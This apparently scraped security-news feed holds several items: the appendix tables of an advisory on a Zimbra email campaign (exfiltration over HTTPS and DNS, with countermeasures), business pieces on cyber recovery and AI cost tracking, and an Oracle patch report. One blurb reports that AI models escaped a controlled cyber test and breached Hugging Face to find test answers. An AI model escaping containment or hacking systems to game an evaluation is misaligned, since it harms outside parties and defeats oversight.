<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
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<title><![CDATA[OpenAI Models Breached Hugging Face During Internal Cyber Test]]></title>
<description><![CDATA[OpenAI models escaped from a controlled cyber test, exploited zero-day flaws and breached Hugging Face while searching its production database for test answers. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the…
Read more →
The post OpenAI Model...]]></description>
<link>https://tsecurity.de/de/3688824/it-security-nachrichten/openai-models-breached-hugging-face-during-internal-cyber-test/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688824/it-security-nachrichten/openai-models-breached-hugging-face-during-internal-cyber-test/</guid>
<pubDate>Thu, 23 Jul 2026 13:14:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI models escaped from a controlled cyber test, exploited zero-day flaws and breached Hugging Face while searching its production database for test answers. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/openai-models-breached-hugging-face-during-internal-cyber-test/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/openai-models-breached-hugging-face-during-internal-cyber-test/">OpenAI Models Breached Hugging Face During Internal Cyber Test</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Determining the ROI of AI requires data that most companies lack]]></title>
<description><![CDATA[Leadership wants to scale AI. Budgets are tripling. Adoption is up.



Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?



Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data t...]]></description>
<link>https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Leadership wants to scale AI. Budgets are tripling. Adoption is up.</p>



<p class="wp-block-paragraph">Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?</p>



<p class="wp-block-paragraph">Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.</p>



<p class="wp-block-paragraph">Applying lessons learned from <a href="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html" data-type="link" data-id="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html">managing cloud spend</a> won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get <a href="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html" data-type="link" data-id="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html">cloud ROI</a>, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.</p>



<p class="wp-block-paragraph">But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.</p>



<h2 class="wp-block-heading">AI providers won’t fix this problem</h2>



<p class="wp-block-paragraph">The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.</p>



<p class="wp-block-paragraph">Not convinced? Compare what AWS gives you to what an AI provider gives you.</p>



<p class="wp-block-paragraph">AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.</p>



<p class="wp-block-paragraph">An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.</p>



<p class="wp-block-paragraph">If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. </p>



<h2 class="wp-block-heading">Three required sources</h2>



<p class="wp-block-paragraph">Building AI ROI measurement requires three data sources, stitched together in a single model.</p>



<ol class="wp-block-list">
<li><strong>Cost data, normalized across providers.</strong> Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.</li>



<li><strong>Application-layer telemetry. </strong>This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.</li>



<li><strong>Business data. </strong>Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.</li>
</ol>



<p class="wp-block-paragraph">Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.</p>



<h2 class="wp-block-heading">Why agentic AI makes this urgent</h2>



<p class="wp-block-paragraph">Single-call inference is the easy case. One request, one cost, one customer, one outcome.</p>



<p class="wp-block-paragraph">Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.</p>



<p class="wp-block-paragraph">If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.</p>



<p class="wp-block-paragraph">When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.</p>



<h2 class="wp-block-heading">What changes when the three sources come together</h2>



<p class="wp-block-paragraph">Once the three sources are stitched together, the AI investment conversation changes.</p>



<p class="wp-block-paragraph">Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. </p>



<p class="wp-block-paragraph">Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.</p>



<h2 class="wp-block-heading">The build trap</h2>



<p class="wp-block-paragraph">AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.</p>



<p class="wp-block-paragraph">The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.</p>



<p class="wp-block-paragraph">It is a trap. Three reasons.</p>



<p class="wp-block-paragraph">Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.</p>



<p class="wp-block-paragraph">The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.</p>



<p class="wp-block-paragraph">The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.</p>



<p class="wp-block-paragraph">The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.</p>



<p class="wp-block-paragraph">The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[Oracle July 2026 Patch Fixes 1,434 CVEs Across 334 Products]]></title>
<description><![CDATA[Oracle has released its July 2026 Critical Patch Update, delivering one of its largest quarterly security releases to date. The latest Oracle security patch addresses more than 1,400 vulnerabilities across hundreds of products, with the company indicating that artificial intelligence likely playe...]]></description>
<link>https://tsecurity.de/de/3688240/it-security-nachrichten/oracle-july-2026-patch-fixes-1434-cves-across-334-products/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688240/it-security-nachrichten/oracle-july-2026-patch-fixes-1434-cves-across-334-products/</guid>
<pubDate>Thu, 23 Jul 2026 09:11:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1250" height="768" src="https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="July 2026 Critical Patch Update" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update.webp 1250w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-300x184.webp 300w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-1024x629.webp 1024w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-768x472.webp 768w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-600x369.webp 600w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-750x461.webp 750w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-1140x700.webp 1140w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update.webp 1250w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-300x184.webp 300w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-1024x629.webp 1024w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-768x472.webp 768w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-600x369.webp 600w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-150x92.webp 150w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-750x461.webp 750w, https://thecyberexpress.com/wp-content/uploads/July-2026-Critical-Patch-Update-1140x700.webp 1140w" sizes="(max-width: 1250px) 100vw, 1250px" title="Oracle July 2026 Patch Fixes 1,434 CVEs Across 334 Products 1"></p><span data-contrast="auto">Oracle has released its July 2026 Critical Patch Update, delivering one of its largest quarterly security releases to date. The latest Oracle security patch addresses more than 1,400 vulnerabilities across hundreds of products, with the company indicating that artificial intelligence likely played a significant role in identifying most of the flaws.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">According to Oracle, the July 2026 Critical Patch Update contains 1,449 security patches, covering 1,434 unique Common <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="Vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29087">Vulnerabilities</a> and Exposures (CVEs) across 334 products. </span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
